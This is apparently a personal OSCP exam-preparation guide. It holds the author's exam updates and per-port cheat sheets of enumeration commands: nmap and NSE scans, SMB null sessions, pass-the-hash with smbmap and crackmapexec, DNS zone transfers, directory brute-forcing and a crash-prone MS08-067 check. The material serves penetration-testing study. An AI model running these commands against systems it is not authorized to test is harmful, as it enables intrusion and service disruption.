# Introduction

Hi there! In [this space](https://oscp.nstsec.com), I'll be sharing my notes, experiences, and tips on how to prepare for the  [Offensive Security Certified Professional](https://www.offsec.com/courses/pen-200/) (OSCP) certification exam. The goal of this space is to help other aspiring ethical hackers pass this highly respected and globally recognized certification exam. Along my journey, I've collected command cheat sheets and useful resources that I'll be sharing with you. I hope that this guide can be helpful and inspire others to take on the challenge of becoming a certified OSCP security expert.

{% hint style="danger" %}
**Attention!** I will not disclose any specific details regarding the OSCP exam contents due to OffSec's non-disclosure policies. The information I provide will be from publicly available sources or based on my personal experiences and feelings. OffSec takes the integrity of the exam and certification process very seriously. Any violation of their policies may result in the revocation of the OSCP certification and legal action taken.
{% endhint %}

{% hint style="info" %}
If you have appreciated my work and would like to support me, you can [**buy me a coffee**](https://www.buymeacoffee.com/lorensts)! It would be a greatly appreciated gesture. Thank you!
{% endhint %}

## <mark style="color:red;">About the OSCP Exam</mark>

[OSCP ](https://en.wikipedia.org/wiki/OffSec_Certified_Professional)is a professional ethical hacking certification offered by [OffSec ](https://www.offsec.com/)that teaches penetration testing methodologies and the use of tools included in the [Kali Linux distribution](https://www.kali.org/) via the [PEN-200](https://www.offsec.com/courses/pen-200/) learning path.

The OSCP certification exam simulates a live network in a private VPN, which contains a small number of vulnerable machines.

The exam will be proctored and I will have 23 hours and 45 minutes (from 10:00 AM to 09:45 AM) to hack the network and complete the exam. Once the exam is finished, I will have another 24 hours to upload my documentation report to Offensive Security and be evaluated.

## <mark style="color:red;">OSCP Exam Structure</mark> <a href="#h_01gftcv6yn1bfy0dbxqh6awh81" id="h_01gftcv6yn1bfy0dbxqh6awh81"></a>

I'll must achieve a **minimum score of 70 points** to pass the exam. It is possible to achieve a maximum of 100 points.

### <mark style="color:red;">**Active Directory Set - 40 points**</mark>

* 2 Windows Clients, 1 Domain Controller
* Points are awarded only for the full exploit chain of the domain

### <mark style="color:red;">**Independent Challenges - 60 points**</mark>

* 3 Windows/Linux targets, low and high privileges
* 20 points per machine
  * 10 points for low-privilege
  * 10 points for privilege escalation

More information about OSCP can be found [here](https://help.offsec.com/hc/en-us/articles/360040165632-OSCP-Exam-Guide).

## <mark style="color:red;">Update #1 - 28/03/2023</mark>

The countdown is on! I have officially scheduled my exam for April 30th and will be sharing updates soon.

<figure><img src="/files/nk5uS2lHvX5cdsVsQE4q" alt=""><figcaption><p>OSCP exam scheduled</p></figcaption></figure>

## <mark style="color:red;">Update #2 - 02/05/2023</mark>

I have finally taken the OSCP exam for the first time! It was 18 hours of pure hacking to breach the Active Directory and other machines on the network to gain control and achieve the required objectives. It was challenging but also very enjoyable and stimulating. The following day, after some necessary rest, I proceeded with writing and submitting the activity report.&#x20;

Now, all that is left is to wait for the outcome from Offensive Security within 10 days.&#x20;

I hope to publish new updates soon.

## <mark style="color:red;">Update #3 - 05/05/2023</mark>

Finally, I received the response from OffSec (I couldn't contain my excitement), confirming that I have successfully completed the Penetration Testing with Kali Linux certification exam and have obtained my Offsec Certified Professional (OSCP) certification!

<figure><img src="/files/7Cyv7zIYFiTyxszQTKgr" alt=""><figcaption><p>Exam successfully completed</p></figcaption></figure>

Thank you all for your attention, see you at the next exam!


# Network Scan

## <mark style="color:red;">Automatic Network Scan</mark>

### <mark style="color:blue;">Mynmap</mark>

Here's a very simple bash script I made myself. It is designed to automate the configuration and execution of port scans on a specified domain or IP address. The code is written to be run on Linux systems and requires the Nmap package to function correctly.

{% embed url="<https://github.com/Astaruf/mynmap>" %}

<details>

<summary>Usage</summary>

Mandatory arguments:

```bash
-t, --target <TARGET_IP>     #The IP address of the target to scan.
-d, --domain <DOMAIN_NAME>   #The domain name of the target to scan.
```

Optional arguments:

```bash
-nc, --no-colors             #Disable console coloring.
```

Examples:

```bash
./port-scan.sh -t 192.168.1.1 -d mydomain.com
./port-scan.sh -t 10.0.0.2 -d mydomain.com --no-colors
```

</details>

### <mark style="color:blue;">NmapAutomator</mark>

The main goal for this script is to automate the process of enumeration and recon that is run every time, and instead focus our attention on real pentesting.

{% embed url="<https://github.com/21y4d/nmapAutomator>" %}

## <mark style="color:red;">Manual Network Scan</mark>

### <mark style="color:blue;">Nmap</mark>

Nmap large scan

```bash
nmap -sVC -sS -sU -T4 -p- <IP_RANGE> -oG output.txt
```

Grep nmap output to search for live hosts

```bash
grep Up ping-sweep.txt | cut -d " " -f 2
```

Search for nse script for nmap:

```bash
cd /usr/share/nmap/scripts/
head -n 5 script.db
cat script.db  | grep '"vuln"\|"exploit"'
```

Use --script vuln to run all scripts in the "vuln" category against a target in the PWK labs:

```bash
sudo nmap --script vuln 10.11.1.10
```

### <mark style="color:blue;">Netcat</mark>

Netcat UDP scan

```bash
nc -nv -u -z -w 1 10.11.1.0/24 1-65535
```

Netcat TCP scan

```bash
nc -nvv -w 1 -z 10.11.1.0/24 1-65535
```

### <mark style="color:blue;">Masscan</mark>

Masscan&#x20;

```bash
sudo masscan -p80 10.11.1.0/24 --rate=1000 -e tap0 --router-ip 10.11.0.1
```


# Services Exploitation


# 21 - FTP

## <mark style="color:red;">Banner Grabbing</mark> <a href="#banner-grabbing" id="banner-grabbing"></a>

### <mark style="color:blue;">**Telnet**</mark>&#x20;

```sh
telnet 10.0.0.3 21
```

### <mark style="color:blue;">**Netcat**</mark>

```sh
nc -n 10.0.0.3 21
```

### <mark style="color:blue;">**NSE Script**</mark>

```sh
nmap -sV -script banner -p21 -Pn 10.0.0.3
```

### <mark style="color:blue;">**FTP**</mark>

```sh
ftp 10.0.0.3
```

## <mark style="color:red;">FTP Exploitation</mark> <a href="#ftp-exploits-search" id="ftp-exploits-search"></a>

### <mark style="color:blue;">Anonymous Login</mark> <a href="#anonymous-login" id="anonymous-login"></a>

Note: During the port scanning phase Nmap’s script scan (`-sC`), can be enabled to check for FTP Bounce and Anonymous Login.

Try anonymous login using `anonymous:anonymous` credentials.

```sh
ftp 10.0.0.3
…
Name (10.0.0.3:kali): anonymous
331 Please specify the password.
Password: [anonymous]
230 Login successful.
```

List **all** files in order.

```sh
ftp> ls -lat
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
…
226 Directory send OK.
```

### <mark style="color:blue;">FTP Browser Client</mark> <a href="#ftp-browser-client" id="ftp-browser-client"></a>

{% hint style="info" %}
Due to its insecure nature, FTP support is being dropped by Firefox and Google Chrome.
{% endhint %}

Try accessing `ftp://user:pass@10.0.0.3` from your browser. If not credentials provided `anonymous:anonymous` is assumed.

### <mark style="color:blue;">Brute Forcing</mark> <a href="#brute-forcing" id="brute-forcing"></a>

Se [Brute Forcing SSH](#brute-forcing)

{% hint style="info" %}
SecLists includes a handy list of [FTP default credentials](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt).
{% endhint %}

## <mark style="color:red;">Configuration files</mark> <a href="#configuration-files" id="configuration-files"></a>

It is important to examine these config files:

```
ftpusers
ftp.conf
proftpd.conf
```

## <mark style="color:red;">Other</mark> <a href="#miscellaneous" id="miscellaneous"></a>

### <mark style="color:blue;">Binary and ASCII</mark> <a href="#binary-and-ascii" id="binary-and-ascii"></a>

Binary and ASCII files have to be uploading using the `binary` or `ascii` mode respectively, otherwise, the file will become corrupted. Use the corresponding command to switch between modes.

### <mark style="color:blue;">Download all files from FTP</mark>

```bash
wget -m ftp://anonymous:anonymous@10.10.10.98 #Donwload all
wget -m --no-passive ftp://anonymous:anonymous@10.10.10.98 #Download all
```


# 25, 465, 587 - SMTP

## <mark style="color:red;">Banner Grabbing</mark> <a href="#banner-grabbing" id="banner-grabbing"></a>

### <mark style="color:blue;">**Telnet**</mark>

```sh
telnet 10.0.0.3 25
```

### <mark style="color:blue;">**Netcat**</mark>

```sh
nc -n 10.0.0.3 25
```

### <mark style="color:blue;">**Openssl (SMTPS)**</mark>&#x20;

```sh
openssl s_client -starttls smtp -crlf -connect 10.0.0.3:587
```

<details>

<summary>Parameters</summary>

* `s_client`: SSL/TLS client program.
* `-starttls <protocol>`: send the protocol-specific message(s) to switch to TLS for communication.
* `-crlf`: translate a line feed from the terminal into `CR+LF`.

</details>

## <mark style="color:red;">Enumeration</mark> <a href="#enumeration" id="enumeration"></a>

[**smtp-commands**](https://nmap.org/nsedoc/scripts/smtp-commands.html) **NSE Script**

```sh
nmap -p 25,465,587 --script smtp-commands 10.0.0.3
```

[**smtp-enum-users**](https://nmap.org/nsedoc/scripts/smtp-enum-users.html) **NSE Script**

```sh
nmap -p 25,465,587 --script smtp-enum-users 10.0.0.3
```

## <mark style="color:red;">NTLM Information Disclosure</mark> <a href="#ntlm-information-disclosure" id="ntlm-information-disclosure"></a>

On Windows, with NTLM authentication enabled, sending a SMTP NTLM authentication request with null credentials will cause the remote service to respond with a NTLMSSP message disclosing information to include NetBIOS, DNS, and OS build version.

**Manually**

```sh
telnet example.com 587
...
>> HELO
250 example.com Hello [x.x.x.x]
>>AUTH NTLM 334
NTLM supported
>>TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=
334 TlRMTVNTUAACAAAACgAKADgAAAAFgooCBqqVKFrKPCMAAAAAAAAAAEgASABCAAAABgOAJQAAAA9JAEkAUwAwADEAAgAKAEkASQBTADAAMQABAAoASQBJAFMAMAAxAAQACgBJAEkAUwAwADEAAwAKAEkASQBTADAAMQAHAAgAHwMI0VPy1QEAAAAA
```

[**smtp-ntlm-info**](https://nmap.org/nsedoc/scripts/smtp-ntlm-info.html) **NSE Script**

```sh
nmap -p 587 --script smtp-ntlm-info --script-args smtp-ntlm-info.domain=example.com 10.0.0.3
```

## <mark style="color:red;">Commands</mark> <a href="#commands" id="commands"></a>

```txt
HELO        Identify to the SMTP server.
EHLO        Alternative HELO for Extended SMTP protocol.
MAIL FROM:  Sender's email address.
RCPT TO:    Recipient's email address.
DATA        Initiate message content transfer. Command is terminated with a line containing only a .
RSET        Reset the session. Connection will not be closed.
VRFY        Verify username or mailbox.
NOOP        No-op. Keeps connection open.
QUIT        Ends session.
```

Note: Sessions must start with HELO and end with QUIT.

## <mark style="color:red;">Configuration files</mark> <a href="#configuration-files" id="configuration-files"></a>

```
sendmail.cf
submit.cf
```

## <mark style="color:red;">Other</mark>

The following Python script opens a TCP socket, connects to the SMTP server, and issues a VRFY command for a given username:

```python
#!/usr/bin/python
import socket
import sys

if len(sys.argv) != 2:
        print "Usage: vrfy.py <username>"
        sys.exit(0)

# Create a Socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# Connect to the Server
connect = s.connect(('10.11.1.217',25))

# Receive the banner
banner = s.recv(1024)
print banner

# VRFY a user
s.send('VRFY ' + sys.argv[1] + '\r\n')
result = s.recv(1024)
print result

# Close the socket
s.close()
```


# 53 - DNS

## <mark style="color:red;">TCP and UDP</mark> <a href="#tcp-and-udp" id="tcp-and-udp"></a>

By default, DNS uses UDP on port 53 to serve requests. When the size of the request, or the response, exceeds the single packet size of 512 bytes, the query is re-sent using TCP. Multiple records responses, IPv6 responses, big TXT records, DNSSEC responses, and **zone transfers** are some examples of these requests.

{% hint style="info" %}
Note: When DNS is running on TCP, it is worth checking if [zone trasfer ](#zone-transfer)is enabled.
{% endhint %}

## <mark style="color:red;">Banner Grabbing</mark> <a href="#banner-grabbing" id="banner-grabbing"></a>

DNS does not provide an information banner *per se* but BIND DNS exposes its version by default.

Note: The `version.bind` directive is stored under the `options` section in the `/etc/named.conf` configuration file.

**dig**

```sh
dig version.bind CHAOS TXT @10.0.0.3
```

[**dns-nsid**](https://nmap.org/nsedoc/scripts/dns-nsid.html) **NSE Script**

```sh
nmap -sV --script dns-nsid -p53 -Pn 10.0.0.3
```

## <mark style="color:red;">DNS Enumeration</mark>

```bash
whois <RHOST>
host <RHOST> <RHOST>
host -l <RHOST> <RHOST>
dig @<RHOST> -x <RHOST>
dig {a|txt|ns|mx} <RHOST>
dig {a|txt|ns|mx} <RHOST> @ns1.<RHOST>
dig axfr @<RHOST> <RHOST>    # zone transfer
```

fuff

```bash
ffuf -c -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u http://<RHOST>/ -H "Host: FUZZ.<RHOST>" -fs 185
```

gobuster

```bash
gobuster dns -d <RHOST> -t 50 -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt
gobuster vhost -u <RHOST> -t 50 -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt
```

wfuzz

```bash
wfuzz -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H "Host: FUZZ.<RHOST>" --hc 200 --hw 356 -t 100 <RHOST>
wfuzz -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H "Origin: http://FUZZ.<RHOST>" --filter "r.headers.response~'Access-Control-Allow-Origin'" http://<RHOST>/
wfuzz -c -w /usr/share/wordlists/secLists/Discovery/DNS/subdomains-top1million-110000.txt --hc 400,404,403 -H "Host: FUZZ.<RHOST>" -u http://<RHOST> -t 100
wfuzz -c -w /usr/share/wordlists/secLists/Discovery/DNS/subdomains-top1million-110000.txt --hc 400,403,404 -H "Host: FUZZ.<RHOST>" -u http://<RHOST> --hw <value> -t 100
```

## <mark style="color:red;">Zone Transfer</mark> <a href="#zone-transfer" id="zone-transfer"></a>

DNS reconnaissance is an extremely useful tool during the information gathering stage as it can provide valuable insights into the domain and infrastructure. However, it can also uncover new attack vectors, such as when Virtual Routing is enabled.&#x20;

One method of DNS reconnaissance is through a zone transfer, which involves a Master DNS server copying a zone to another DNS server, typically a Slave server. Although these transfers are ideally restricted to specific IPs, misconfigured servers sometimes allow anyone to request them.

#### dig <a href="#dig-1" id="dig-1"></a>

```sh
dig axfr @10.0.0.3 domain
```

<details>

<summary>Parameters</summary>

* `axfr`: initiate an *AXFR* zone transfer query.
* `@10.0.0.3`: name or IP of the server to query.
* `domain`: name of the resource record that is to be looked up.

</details>

{% hint style="info" %}
Note: It is worth trying to initiate a zone transfer without a domain.
{% endhint %}

## <mark style="color:red;">Configuration files</mark> <a href="#configuration-files" id="configuration-files"></a>

Examine configuration files:

```
host.conf
resolv.conf
named.conf
```


# 88 - Kerberos

First enumeration using nmap

```bash
nmap -p 88 --script=krb5-enum-users --script-args krb5-enum-users.realm="access.offsec",userdb=/usr/share/wordlists/seclists/Usernames/cirt-default-user
    PORT   STATE SERVICE
    88/tcp open  kerberos-sec
    | krb5-enum-users: 
    | Discovered Kerberos principals
    |     ADMINISTRATOR@access.offsec
    |     Administrator@access.offsec
    |_    administrator@access.offsec
```


# 80, 443 - HTTP/S

## <mark style="color:red;">Automatic scanners</mark>

General purpose automatic scanners:

```bash
nikto -h <URL>
whatweb -a 4 <URL>
wapiti -u <URL>
W3af
zaproxy #You can use an API
nuclei -ut && nuclei -target <URL>
```

## <mark style="color:red;">Spidering</mark>

List of spidering tools:&#x20;

{% embed url="<https://book.hacktricks.xyz/network-services-pentesting/pentesting-web#spidering>" %}

## <mark style="color:red;">Directories and Files Enumeration</mark>

Tools:

* [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: It doesn't allow auto-signed certificates but** allows recursive search.
* [**Gobuster**](https://github.com/OJ/gobuster) (go): It allows auto-signed certificates, it **doesn't** have **recursive** search.
* [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Fast, supports recursive search.**
* [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ`
* [**ffuf** ](https://github.com/ffuf/ffuf)- Fast: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
* [**Chamaleon**](https://github.com/iustin24/chameleon): It uses wapalyzer to detect used technologies and select the wordlists to use.

### <mark style="color:blue;">Gobuster</mark> <a href="#gobuster-gobuster" id="gobuster-gobuster"></a>

```sh
gobuster dir -t 30 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u https://10.0.0.3/
```

<details>

<summary>Parameters</summary>

* `dir`: directory brute-forcing mode.
* `-t <n>`: number of concurrent threads (default 10).
* `-w <wordlist>`: path to the wordlist.
* `-u <URL>`: target URL.

</details>

{% hint style="info" %}
Note:

* Iterate over the results.
* Include status code 403 (Forbidden Error) and brutefoce these directories.
* Add more file extensions to search for; In `gobuster`: `-x sh,pl.`
  {% endhint %}

### <mark style="color:blue;">Feroxbuster</mark> <a href="#wordlists" id="wordlists"></a>

```bash
feroxbuster --url http://<TARGET>:<PORT>/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -o <TARGET><PORT>.out
```

### <mark style="color:blue;">Dirb</mark>

```bash
dirb http://www.megacorpone.com -r -z 10
```

### <mark style="color:blue;">Nikto</mark>

```bash
nikto -host=http://www.megacorpone.com -maxtime=30s
```

### <mark style="color:blue;">Wfuzz</mark> <a href="#wordlists" id="wordlists"></a>

Fuzz parameters using injection payloads:

```bash
wfuzz -u https://<IP_ADDRESS>/index.php?url=FUZZ --hl 36 -w /usr/share/wfuzz/wordlist/Injections/All_attack.txt
```

## <mark style="color:red;">Wordlists</mark> <a href="#wordlists" id="wordlists"></a>

Included in Kali’s wordlists package under `/usr/share/wordlists`.

* `/rockyou.txt`
* `/dirbuster/directory-list-2.3-medium.txt` ( 1.9M - 220560 lines )
* `/dirbuster/directory-list-2.3-small.txt` ( 709K - 87664 lines )
* `/dirb/common.txt` ( 36K - 4614 lines )
* `/dirb/big.txt` ( 180K - 20469 lines )


# 110, 995 - POP

## <mark style="color:red;">Banner Grabbing</mark> <a href="#banner-grabbing" id="banner-grabbing"></a>

**Telnet**

```sh
telnet 10.0.0.3 110
```

**Netcat**

```sh
nc -n 10.0.0.3 110
```

**openssl**

```sh
openssl s_client -crlf -connect 10.0.0.3:995
```

<details>

<summary>Parameters</summary>

* `s_client`: SSL/TLS client program.
* `-crlf`: translate a line feed from the terminal into `CR+LF`.

</details>

[**pop3-ntlm-info**](https://nmap.org/nsedoc/scripts/pop3-ntlm-info.html) **NSE Script**

```sh
nmap -p 110,995 --script pop3-ntlm-info 10.0.0.3
```

## <mark style="color:red;">Capabilities</mark> <a href="#capabilities" id="capabilities"></a>

POP3 capabilities are defined in [RFC2449](https://tools.ietf.org/html/rfc2449#section-6). The `CAPA` command allows a client to ask a server what commands it supports and possibly any site-specific policy.

[**pop3-capabilities**](https://nmap.org/nsedoc/scripts/pop3-capabilities.html) **NSE Script**

```sh
nmap -p 110,995 --script pop3-capabilities 10.0.0.3
```

## <mark style="color:red;">Commands</mark> <a href="#commands" id="commands"></a>

```txt
USER    Username or mailbox.
PASS    Server/mailbox-specific password.
STAT    Number of messages in the mailbox.
LIST    [ message# ] Messages summary.
RETR    [ message# ] Retrieve selected message.
DELE    [ message# ] Delete selected message.
RSET    Reset the session. Undelete deleted messages.
NOOP    No-op. Keeps connection open.
QUIT    End session.
```

{% hint style="info" %}
Note: Server responses will start either with a successful (`+OK`) or failed status `-ERR`.
{% endhint %}


# 111 - NFS/RPC

scanning for

```bash
nmap -v -p 111 10.11.1.1-254
```

search for nmap NSE scripts

<pre class="language-bash"><code class="lang-bash">ls -1 /usr/share/nmap/scripts/nfs*
<strong>    /usr/share/nmap/scripts/nfs-ls.nse
</strong>    /usr/share/nmap/scripts/nfs-showmount.nse
    /usr/share/nmap/scripts/nfs-statfs.nse
</code></pre>

nmap NSE script

```
nmap -sV -p 111 --script=rpcinfo 10.11.1.1-254
nmap -p 111 --script nfs* 10.11.1.72
```

mount a share

```bash
mkdir <local_folder>
sudo mount -o nolock 10.11.1.72:<remote_folder> <local_folder>
cd <local_folder> && ls
```

mount a share downgrading NFS version

```bash
sudo mount -t nfs -o vers=3 <ip>:<remote_folder> <local_folder> -o nolock
```


# 135, 593 - MSRPC

## <mark style="color:red;">Enumeration</mark> <a href="#enumeration" id="enumeration"></a>

You can query the RPC locator service and individual RPC endpoints to catalog services running over TCP, UDP, HTTP, and SMB (via named pipes).

Each returned IFID value represents an RPC service. See Notable RPC Interfaces.

By default, `impacket` will try to match them with a list of well known endpoints.

### <mark style="color:blue;">**impacket pcdump.py**</mark>

Dump the list of RPC endpoints.

```sh
rpcdump.py 10.0.0.3
```

<details>

<summary>Parameters</summary>

* `target`: `[[domain/]username[:password]@]address`
* `-port <ports>`: Destination port to connect to SMB server. Default: 135.

</details>

### <mark style="color:blue;">**impacket samrdump.py**</mark>

List system user accounts, available resource shares and other sensitive information exported through the SAMR (Security Account Manager Remote) interface.

```sh
samrdump.py 10.0.0.3
```

<details>

<summary>Parameters</summary>

* `target`: `[[domain/]username[:password]@]address`
* `-port <ports>`: Destination port to connect to SMB server. Default: 445.

</details>

### [<mark style="color:blue;">**msrpc-enum**</mark>](https://nmap.org/nsedoc/scripts/msrpc-enum.html) <mark style="color:blue;">**NSE Script**</mark>

```sh
nmap -sV -script msrpc-enum -Pn 10.0.0.3
```

## <mark style="color:red;">Query RPC</mark> <a href="#query-rpc" id="query-rpc"></a>

The `rpcclient` can be used to interact with individual RPC endpoints via named pipes. By default, Windows systems and Windows 2003 domain controllers allow anonymous (Null Sessions) access to SMB, so these interfaces can be queried in this way.

Note: If null session access is not permitted, a valid username and password must be provided.

### <mark style="color:blue;">**rpcclient**</mark>

```sh
rpcclient -U "" -N 10.0.0.3
```

<details>

<summary>Parameters</summary>

* `-U`: Set the network username.
* `-N`: Don’t ask for a password.

</details>

Commands that you can issue to SAMR, LSARPC, and LSARPC-DS.

| Command               | Interface | Description                                   |
| --------------------- | --------- | --------------------------------------------- |
| `queryuser`           | SAMR      | Retrieve user information.                    |
| `querygroup`          | SAMR      | Retrieve group information.                   |
| `querydominfo`        | SAMR      | Retrieve domain information.                  |
| `enumdomusers`        | SAMR      | Enumerate domain users.                       |
| `enumdomgroups`       | SAMR      | Enumerate domain groups.                      |
| `createdomuser`       | SAMR      | Create a domain user.                         |
| `deletedomuser`       | SAMR      | Delete a domain user.                         |
| `lookupnames`         | LSARPC    | Look up usernames to SID values.              |
| `lookupsids`          | LSARPC    | Look up SIDs to usernames (RID cycling).      |
| `lsaaddacctrights`    | LSARPC    | Add rights to a user account.                 |
| `lsaremoveacctrights` | LSARPC    | Remove rights from a user account.            |
| `dsroledominfo`       | LSARPC-DS | Get primary domain information.               |
| `dsenumdomtrusts`     | LSARPC-DS | Enumerate trusted domains within an AD forest |

<br>


# 139, 445 - SMB

## <mark style="color:red;">Nmap</mark>

```bash
nmap -v -p 139,445 $targetip-254 -oG smb.txt 
```

search for nmap NSE scripts

<pre class="language-bash"><code class="lang-bash">ls -1 /usr/share/nmap/scripts/smb*
    /usr/share/nmap/scripts/smb2-capabilities.nse
<strong>    /usr/share/nmap/scripts/smb2-security-mode.nse
</strong>    /usr/share/nmap/scripts/smb2-time.nse
<strong>    ...
</strong></code></pre>

### <mark style="color:blue;">Nmap NSE script</mark>

```sh
nmap --script "safe or smb-enum-*" -p 139,445 $targetip
```

{% hint style="info" %}
NSE SMB enumeration scripts:

* `smb-enum-domains`
* `smb-enum-groups`
* `smb-enum-processes`
* `smb-enum-services`
* `smb-enum-sessions`
* `smb-enum-shares`
* `smb-enum-users`
  {% endhint %}

```bash
nmap -v -p 139, 445 --script=smb-os-discovery $targetip-254
```

Unsafe option. scripts will crash the vulnerable system:

```bash
nmap -v -p 139,445 --script=smb-vuln-ms08-067 --script-args=unsafe=1 $targetip
```

Search for known vulnerabilities:

```bash
nmap --script smb-vuln* -p 139,445 -oN smb-vuln-scan $targetip
```

## <mark style="color:red;">**Nbtscan**</mark>

```bash
nbtscan -r $targetip/24
```

## <mark style="color:red;">**Enum4linux**</mark>

Run everything, runs all options apart from dictionary based share name guessing:

```sh
enum4linux -a $targetip
```

With credentials:

```sh
enum4linux -a -u "<username>" -p "<passwd>" $targetip
```

<details>

<summary>Parameters</summary>

* `-a`: Do all simple enumeration (-U -S -G -P -r -o -n -i).
* `-u <user>`: specify username to use.
* `-p <pass>`: specify password to use.

</details>

Other **enum4linux** commands:

```bash
#Verbose mode, shows the underlying commands being executed by enum4linux
enum4linux -v $targetip
#Lists usernames, if the server allows it - (RestrictAnonymous = 0)
enum4linux -U $targetip
#If you've managed to obtain credentials, you can pull a full list of users regardless of the RestrictAnonymous option
enum4linux -u administrator -p password -U $targetip
#Pulls usernames from the default RID range (500-550,1000-1050)
enum4linux -r $targetip
#Pull usernames using a custom RID range
enum4linux -R 600-660 $targetip
#Lists groups. if the server allows it, you can also specify username -u and password -p
enum4linux -G $targetip
#List Windows shares, again you can also specify username -u and password -p
enum4linux -S $targetip
#Perform a dictionary attack, if the server doesn't let you retrieve a share list
enum4linux -s shares.txt $targetip
#Pulls OS information using smbclient, this can pull the service pack version on some versions of Windows
enum4linux -o $targetip
#Pull information about printers known to the remove device.
enum4linux -i $targetip
```

## <mark style="color:red;">Smbclient / smbmap / crackmapexec</mark>

### <mark style="color:blue;">List shared folders</mark>

It is always recommended to look if you can access to anything, if you don't have credentials try using **null** **credentials/guest user**.

```bash
smbclient --no-pass -L //$targetip # Null user
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //$targetip #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash

smbmap -H $targetip [-P <PORT>] #Null user
smbmap -u "username" -p "password" -H $targetip [-P <PORT>] #Creds
smbmap -u "username" -p "<NT>:<LM>" -H $targetip [-P <PORT>] #Pass-the-Hash
smbmap -R -u "username" -p "password" -H $targetip [-P <PORT>] #Recursive list

crackmapexec smb $targetip -u '' -p '' --shares #Null user
crackmapexec smb $targetip -u 'asdasdasd' -p 'asdasdasd'
crackmapexec smb $targetip -u 'username' -p 'password' --shares #Guest user
crackmapexec smb $targetip -u 'username' -H '<HASH>' --shares #Guest user
```

### <mark style="color:blue;">**Connect/List a shared folder**</mark>

```bash
#Connect using smbclient
smbclient --no-pass \\\\$targetip\\<Folder>
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //$targetip 
#If you omit the pwd, will be asked. 
#With --pw-nt-hash, the pwd provided is the NT hash
#Use --no-pass -c 'recurse;ls'  to list recursively with smbclient

#List with smbmap, without folder it list everything
smbmap [-u "username" -p "password"] -R [Folder] -H $targetip [-P <PORT>] # Recursive list
smbmap [-u "username" -p "password"] -r [Folder] -H $targetip [-P <PORT>] # Non-Recursive list
smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H $targetip [-P <PORT>] #Pass-the-Hash
```

### <mark style="color:blue;">Mount Shares</mark> <a href="#mount-shares-mount-smb" id="mount-shares-mount-smb"></a>

```sh
mount -t cifs -o username=user,password=password //$targetip/Share /mnt/share
```

### <mark style="color:blue;">Download Files</mark> <a href="#download-files" id="download-files"></a>

Create a tar file of the files under `users/docs`.

```sh
smbclient //$targetip/Share "" -N -Tc backup.tar users/docs
```

## <mark style="color:red;">Possible Errors</mark>

### <mark style="color:blue;">SMB Protocol Negotiation Failed</mark> <a href="#smb-protocol-negotiation-failed" id="smb-protocol-negotiation-failed"></a>

Normally SMB takes care of choosing the appropriate protocol for each connection. However, if the offered protocols are out of client’s default range, it will return an error message like this:

```sh
Protocol negotiation failed: NT_STATUS_IO_TIMEOUT
```

### <mark style="color:blue;">Solution</mark> <a href="#solution" id="solution"></a>

Edit the connection protocol range in the client configuration file.\
Add `client min protocol` and `client max protocol` settings to `/etc/samba/smb.conf` under `[global]`.

```sh
# /etc/samba/smb.conf
[global]
client min protocol = CORE
client max protocol = SMB3
```


# 143, 993 - IMAP

## <mark style="color:red;">Banner Grabbing</mark> <a href="#banner-grabbing" id="banner-grabbing"></a>

**Telnet**

```sh
telnet 10.0.0.3 143
```

**Netcat**

```sh
nc -n 10.0.0.3 143
```

**openssl**

```sh
openssl s_client -connect 10.0.0.3:993
```

<details>

<summary>Parameters</summary>

* `s_client`: SSL/TLS client program.

</details>

## <mark style="color:red;">NTLM Information Disclosure</mark> <a href="#ntlm-information-disclosure" id="ntlm-information-disclosure"></a>

**Manually**

```sh
telnet example.com 143
...
>> a1 AUTHENTICATE NTLM
+
>> TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=
+ TlRMTVNTUAACAAAACgAKADgAAAAFgooCBqqVKFrKPCMAAAAAAAAAAEgASABCAAAABgOAJQAAAA9JAEkAUwAwADEAAgAKAEkASQBTADAAMQABAAoASQBJAFMAMAAxAAQACgBJAEkAUwAwADEAAwAKAEkASQBTADAAMQAHAAgAHwMI0VPy1QEAAAAA
```

[**imap-ntlm-info**](https://nmap.org/nsedoc/scripts/imap-ntlm-info.html) **NSE Script**

```sh
nmap -p 143,993 --script imap-ntlm-info 10.0.0.3
```


# 161 - SNMP

## <mark style="color:red;">Enumeration</mark>

The SNMP Management Information Base (MIB) is a database that typically contains network management information. The database is organized in a tree-like structure, where branches represent different organizations or network functions. The leaves of the tree (final endpoints) correspond to specific variable values that can be accessed and probed by an external user.

Scan for SNMP:

```
sudo nmap -sU --open -p 161 10.11.1.1-254 -oG open-snmp.txt
```

We can leverage a tool like onesixtyone to perform a brute force attack against a list of IP addresses.

```
onesixtyone -c wordlist.txt -i iplist.txt
```

After identifying SNMP services, we can initiate queries to extract specific MIB data that could be of interest.

## <mark style="color:red;">Windows SNMP Enumeration Example</mark>

MIB Tree:

```
snmpwalk -c public -v1 -t 10 10.11.1.14
```

Windows users:

```
snmpwalk -c public -v1 10.11.1.14 1.3.6.1.4.1.77.1.2.25
```

Windows processes:

```
snmpwalk -c public -v1 10.11.1.73 1.3.6.1.2.1.25.4.2.1.2
```

Open TCP ports:

```
snmpwalk -c public -v1 10.11.1.14 1.3.6.1.2.1.6.13.1.3
```

Installed software:

```
snmpwalk -c public -v1 10.11.1.50 1.3.6.1.2.1.25.6.3.1.2
```


